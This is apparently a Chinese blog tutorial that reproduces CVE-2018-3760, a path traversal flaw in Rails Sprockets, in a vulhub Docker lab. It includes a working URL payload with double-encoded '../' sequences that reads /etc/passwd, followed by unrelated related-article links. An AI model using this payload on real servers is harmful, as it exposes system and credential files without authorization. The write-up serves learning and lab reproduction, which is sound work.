Ruby On Rails 路径穿越漏洞复现(CVE-2018-3760)

作者:神秘网友 发布时间:2021-02-23 17:20:18

Ruby On Rails 路径穿越漏洞复现(CVE-2018-3760)

一、漏洞描述

Ruby On Rails是一个著名的Ruby Web开发框架,它使用链轮作为开发环境中的静态文件服务器。Sprockets是一个编译和分发静态资源文件的Ruby库。在Ruby 3.7.1和更低版本中,存在由辅助解码引起的路径遍历漏洞。攻击者可以使用%252e%252e/访问根目录并读取或执行目标服务器上的任何文件。

影响版本

4.0.0.beta7及更低版本、3.7.1及更低版本、2.12.4及更低版本。

二、漏洞环境搭建

需要准备的工具如下:

1.docker+vulhub漏洞库

2.靶机Ubuntu18.04虚拟机(其他也可以)

打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)

root@admin666-virtual-machine:~/vulhub/rails/CVE-2018-3760# 

执行命令 docker-compose up -d

root@admin666-virtual-machine:~/vulhub/rails/CVE-2018-3760# docker-compose up -d

等到出现以下页面证明已经搭建完成

可以访问 http://your-ip:3000 出现如下页面证明搭建成功!

三、漏洞利用

可以先在url后输入/assets/file:%2f%2f/etc/passwd尝试读取passwd文件,发现出现如下报错页面;可以看到爆出了允许访问的路径

在允许访问的路径上继续构造如下payload,成功读取passwd文件!

/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

四、关闭docker环境

docker-compose down

Ruby On Rails 路径穿越漏洞复现(CVE-2018-3760) 相关文章

  1. 字节-LeetCode【124. 二叉树中的最大路径和】

    1、题目 //路径 被定义为一条从树中任意节点出发,沿父节点-子节点连接,达到任意节点的序列。同一个节点在一条路径序列中 至多出现一次 。该路径 至少包含一个 节点,且不 //一定经过根节点。 // // 路径和 是路径中各节点值的总和。 // // 给你一个二叉树

  2. Qt 获取程序所在路径等特殊路径的方法

    https://www.cnblogs.com/linuxAndMcu/p/12869383.html 目录 1. 程序所在路径 2. 程序的完整名称 3. 当前工作目录 4. 用户目录路径 5. 桌面路径 6. 程序数据存放路径 7. 临时文件路径 经常我们的程序中需要访问一些特殊的路径,比如程序所在的路径、用户目录

  3. 三维场景中常用的路径动画

    三维场景中常用的路径动画 前言 在三维场景中,除了用逼近真实的模型代表现实中的设备、标识物外,通常还会使用一些动画来表示模型在现实中一些行为和作用。常见的动画比如路径动画、旋转动画、发光动画、流动动画等。本文将为大家介绍几种常用的路径动画。

  4. api——》将.doc文件转成.docx文件后缀,且仅需要输入单个文件绝对路径

    代码: 1 # # -*- coding:utf-8 -*- 2 #读取docx中的文本代码示例 3 import docx 4 from win32com import client as wc 5 from pyhanlp import * 6 import time 7 import re 8 import eventlet#导入eventlet这个模块 9 import shutil10 word = wc.Dispatch('

  5. [cf1486F]Pairs of Paths

    以1为根建树,先将所有路径挂在lca上,再分两类讨论: 1.lca相同,此时我们仅关心于lca上不经过第$a$和$b$个儿子路径数,容斥一下,即所有路径-经过$a$的-经过$b$的+经过$a$和$b$的,前三个很容易统计,最后一个用map即可 (这样分类主要是避免lca相同时重复

  6. 边连通分量

    冗余路径 \(\href{https://www.acwing.com/solution/content/20697/}{边连通分量}\) \(本题是等价于加入最少边是整个图变成边连通分量(没有桥)\) #include bits/stdc++.husing namespace std;#define IO ios::sync_with_stdio(false);cin.tie(0); cout.tie(0

  7. Xpath 语法笔记

    / 标识从根节点绝对路径的方式 /html/body绝对路径的方式 // 标识相对路径 //div相对路径方式 . 一个点, .. 两个点 //title/.表示当前节点//title/./../表示当前节点的父节点 多个标签通过索引获取 //div[3]从1开始 获取多个标签中最后一个标签 //div[last(

  8. python_查找指定目录下文件的路径

    查找指定目录指定文件的路径 def find_file_path(path, find_filename, abspath=False) - str: """ 查找指定目录下指定文件的路径 :param path: 查找的目录路径 :param find_filename: 查找的文件名称 :param abspath: 是否返回绝对路径,默认返回相对路径 :

  9. 「Homebrew」- Error: Failed to upgrade Homebrew Portable Ruby! @20210221

    问题描述 当执行 brew 命令时,产生如下错误: # brew doctor== Downloading https://homebrew.bintray.com/bottles-portable-ruby/portable-ruby-2.6.3_2.yosemite.bottle.tar.gzAlready downloaded: /Users/pengfeiwang/Library/Caches/Homebrew/portable-

  10. Mybaits的主配置文件和映射文件路径

    Mybaits的主配置文件和映射文件路径 dao层接口: package com.itheima.DAO;import com.itheima.pojo.Tb_User;import java.util.List;/*用户的持久层接口* */public interface UserDAO { /** * 查询所有操作 * @return */ ListTb_User findAll();} 主配置文件

每天更新java,php,javaScript,go,python,nodejs,vue,android,mysql等相关技术教程,教程由网友分享而来,欢迎大家分享IT技术教程到本站,帮助自己同时也帮助他人!

Copyright 2020, All Rights Reserved. Powered by 跳墙网(www.tqwba.com)|网站地图|关键词